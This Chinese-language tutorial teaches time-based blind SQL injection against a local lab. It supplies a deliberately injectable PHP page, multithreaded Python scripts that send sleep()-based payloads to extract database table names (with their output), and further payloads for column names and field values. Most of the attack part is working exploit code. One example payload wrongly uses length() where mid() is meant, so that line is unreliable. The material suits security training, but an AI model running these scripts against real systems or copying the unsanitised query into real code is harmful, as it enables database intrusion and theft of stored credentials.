0x01 时间盲注简介


  时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入的SQL语句是否正确,这个过程称之为时间盲注。但如果手工进行注入的话,过程是非常频繁且耗时的,为了提高效率,我们需要编写自动化脚本替我们去完成这些注入工作。

0x02 漏洞测试代码


以下为本次实验测试的基于时间的数字型盲注漏洞代码,可以部署到本地进行配合脚本测试验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db('sqltest');
?>
<html>
<head>
<meta charset="utf-8" />
<title>sql注入测试</title>
<style>
body{text-align:center}
</style>
</head>
<body>
<br />
<?php
$id=@$_GET['id'];
if($id==null){
$id="1";
}
mysql_query('set names utf8');
$sql = "SELECT * FROM users WHERE id=$id";
$result = mysql_query($sql,$conn);
if(!$result)
{
die('<p>error:'.mysql_error().'</p>');
}
$row = mysql_fetch_array($result);
if (!$row){
echo "该记录不存在";
echo $sql;
exit;
}
?>
<font size="10" face="Times">sql注入测试</font>
<table border='2' align="center">
<tr>
<td>id:<?php echo $id;?></td>
</tr>
<tr>
<td>账号:<?php echo $row['username'];?></td>
</tr>
<tr>
<td>密码:<?php echo $row['password'];?></td>
</tr>
<tr>
<td>sql内容: <?php echo $sql;?></td>
</tr>
</table>
</body>
</html>

0x03 时间盲注之获取表名长度


1. 获取表名长度盲注脚本编写

导入所需的模块

1
2
3
4
5
# coding:utf-8
import requests
import datetime
import time
import threading

定义测试数据的长度范围

例:定义测试表名数据的长度总范围为1到15

1
2
3
list=[]  # 测试表名数据长度的列表
for i in range(1,16): # range(1,16)实际数字范围是1到15
list.append(i)

测试结果

1
2
3
print(list)

[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]

定义单个线程工作量

例:定义单个线程的工作量为3

1
t_num = 3

分配每个线程的测试范围

例:由于测试表名数据长度为1到15,一共15个数据,而单个线程数为3,所以一共会产生5个线程数;如果不能刚好分配完,则多余的部分会新生成一个单独的线程

1
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] # 每个线程的测试范围列表

测试结果

1
2
3
print(t_list)

[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12], [13, 14, 15]]

构造payload

通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果

1
?id=1 and sleep(if((select length(table_name)=要猜表名的长度 from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))

例子:猜当前数据库下的第1个表名长度是否为5。

1
?id=1 and sleep(if((select length(table_name)=5 from information_schema.tables where table_schema=database() limit 0,1),0,1))

定义要获取表名的数量

例:指定获取当前数据库下的前5个表名的长度

1
table_num=[0,1,2,3,4] # 0表示第一个表,1表示第二个表...

编辑功能函数

例:该函数会判断并返回当前数据库下的前5个表名长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def table_len(j_list,table_num):
for j in table_num:
now_table = "第%d个表" % (j + 1) # 当前的表名序号
for i in j_list:
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:',sec)
if sec <= 1:
print('[+] %s长度为:' % now_table, i)
res_table_lens[now_table]=i
print(res_table_lens)
else:
# print(i)
pass

定义接收返回表名长度结果的字典

1
res_table_lens = {}

定义线程工作列表

1
theads_list=[]

添加线程到线程工作列表

1
2
for j in t_list:
theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))

执行线程列表中的线程

1
2
for k in theads_list:
k.start()

2. 获取表名长度脚本代码总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# coding:utf-8
import requests
import datetime
import time
import threading

# 定义测试的长度范围
list=[] # 测试数据长度的列表
for i in range(1,16):
list.append(i)

# 定义单个线程的工作量为3
t_num=3

# 每个线程的测试范围列表
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)]

# 定义接收的表名长度字典
res_table_lens = {}

# 添加线程工作列表
theads_list=[]

#定义要获取表名的数量
table_num=[0,1,2,3,4]

# 功能函数
def table_len(j_list,table_num):
for j in table_num:
now_table = "第%d个表" % (j + 1) # 当前的表名序号
for i in j_list:
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:',sec)
if sec <= 1:
print('%s长度为:' % now_table, i)
res_table_lens[now_table]=i
print(res_table_lens)
else:
# print(i)
pass

# 添加线程到线程列表
for j in t_list:
theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))

# 执行线程列表中的线程
for k in theads_list:
k.start()

运行结果

1
2
3
4
5
6
7
8
9
10
[+] 第1个表长度为: 4
{'第1个表': 4}
[+] 第2个表长度为: 4
{'第1个表': 4, '第2个表': 4}
[+] 第3个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5}
[+] 第4个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5, '第4个表': 5}
[+] 第5个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5, '第4个表': 5, '第5个表': 5}

0x04 时间盲注之获取表名


1. 获取表名脚本编写

导入所需的模块

1
2
3
4
5
# coding:utf-8
import requests
import datetime
import time
import threading

定义表名的长度列表

在上一个获取表名长度步骤中,已经得到了前5个表名长度分别为:

1
2
3
4
5
第1个表长度为4
第2个表长度为4
第3个表长度为5
第4个表长度为5
第5个表长度为5

将这5个表按先后顺序定义成一个列表

1
res_table_lens=[4,4,5,5,5]

定义线程的数量

例:定义线程的数量为5个,每一个线程对应获取一个表名

这样就可以在统一时间内同时获取5个表名,如果没有多线程的话,就得一个完接一个的获取表名。

1
theads_table_num=[0,1,2,3,4]

构造payload

通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果

1
?id=1 and sleep(if((select mid(table_name,要猜的表名的第几位,1)='要猜的字符' from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))

例子:猜当前数据库下的第1个表名的第1个字符是否为u。

1
?id=1 and sleep(if((select length(table_name)='u' from information_schema.tables where table_schema=database() limit 0,1),0,1))

编辑功能函数

例:该函数会判断并返回当前数据库下的前5个表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def table_name(len,k):
name = ''
now_thead = "第%d个线程" % (k + 1) # 当前的线程序号
now_table = "第%d个表" % (k + 1) # 当前的表名序号
for j in range(1, len[k]+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
j, i, k)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:', sec)
if sec <= 1:
name += i
print('[+] %s--->%s: ' % (now_thead,now_table),name)
break
res_table_name[now_table]=name
print(res_table_name)

定义接收返回表名结果字典

1
res_table_name= {}

定义线程工作列表

1
theads_list=[]

添加线程到线程工作列表

1
2
for k in theads_table_num:
theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))

执行线程列表中的线程

1
2
for k in theads_list:
k.start()

2. 获取表名脚本代码总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# coding:utf-8
# coding:utf-8
import requests
import datetime
import time
import threading

# 添加线程工作列表
theads_list=[]

# 定义每一个表名对应的长度列表
res_table_lens=[4,4,5,5,5]

# 定义要获取表名的数量
theads_table_num=[0,1,2,3,4]

# 定义接收的表名字典
res_table_name= {}

def table_name(len,k):
name = ''
now_thead = "第%d个线程" % (k + 1) # 当前的线程序号
now_table = "第%d个表" % (k + 1) # 当前的表名序号
for j in range(1, len[k]+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
j, i, k)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:', sec)
if sec <= 1:
name += i
print('[+] %s--->%s: ' % (now_thead,now_table),name)
break
res_table_name[now_table]=name
print(res_table_name)

# 添加线程到线程列表
for k in theads_table_num:
theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))

# 执行线程列表中的线程
for k in theads_list:
k.start()

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[+] 第1个线程--->第1个表:  n
[+] 第2个线程--->第2个表: p
[+] 第3个线程--->第3个表: t
[+] 第4个线程--->第4个表: t
[+] 第5个线程--->第5个表: u
[+] 第1个线程--->第1个表: ne
[+] 第4个线程--->第4个表: te
[+] 第3个线程--->第3个表: te
[+] 第2个线程--->第2个表: po
[+] 第5个线程--->第5个表: us
[+] 第1个线程--->第1个表: new
[+] 第4个线程--->第4个表: tes
[+] 第3个线程--->第3个表: tes
[+] 第5个线程--->第5个表: use
[+] 第2个线程--->第2个表: pos
[+] 第1个线程--->第1个表: news
{'第1个表': 'news'}
[+] 第5个线程--->第5个表: user
[+] 第4个线程--->第4个表: test
[+] 第3个线程--->第3个表: test
[+] 第3个线程--->第3个表: test1
{'第1个表': 'news', '第3个表': 'test1'}
[+] 第4个线程--->第4个表: test2
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2'}
[+] 第2个线程--->第2个表: post
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2', '第2个表': 'post'}
[+] 第5个线程--->第5个表: users
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2', '第2个表': 'post', '第5个表': 'users'}

0x05 代码总结

  综上,本文总结了如何编写自动化脚本获取表名长度,进而获取表名。接下来就是要获取表名下的字段长度,然后获取字段名,最后获取字段值长度和字段值数据。这些步骤基本上与获取表名长度和表名一致,只是构造的payload不同,然后再根据payload稍稍改动小部分代码即可获取到想要的内容,这里就不一一编写了。

  最后提供下测试代码剩余完整的payload,有兴趣的可以自行编写对应的自动化python脚本。

判断字段名长度payload

1
2
# 判断users表的第一个字段名长度是否为5
?id=1 and sleep(if((select length(column_name)=5 from information_schema.columns where table_name='users' limit 0,1),0,3))

判断字段名payload

1
2
# 判断users表的第一个字段名的第一位是否为u
?id=1 and sleep(if((select mid(column_name,1,1)='u' from information_schema.columns where table_name='users' limit 0,1),0,3))

判断字段值长度payload

1
2
# 判断users表的username字段的第一个字段值是否为5
?id=1 and sleep(if((select length(username)=5 from users limit 0,1),0,3))

判断字段值数据payload

1
2
# 判断users表的username字段的第一个字段值的第一位是否为u
?id=1 and sleep(if((select mid(username,1,1)='u' from users limit 0,1),0,3))

参考文章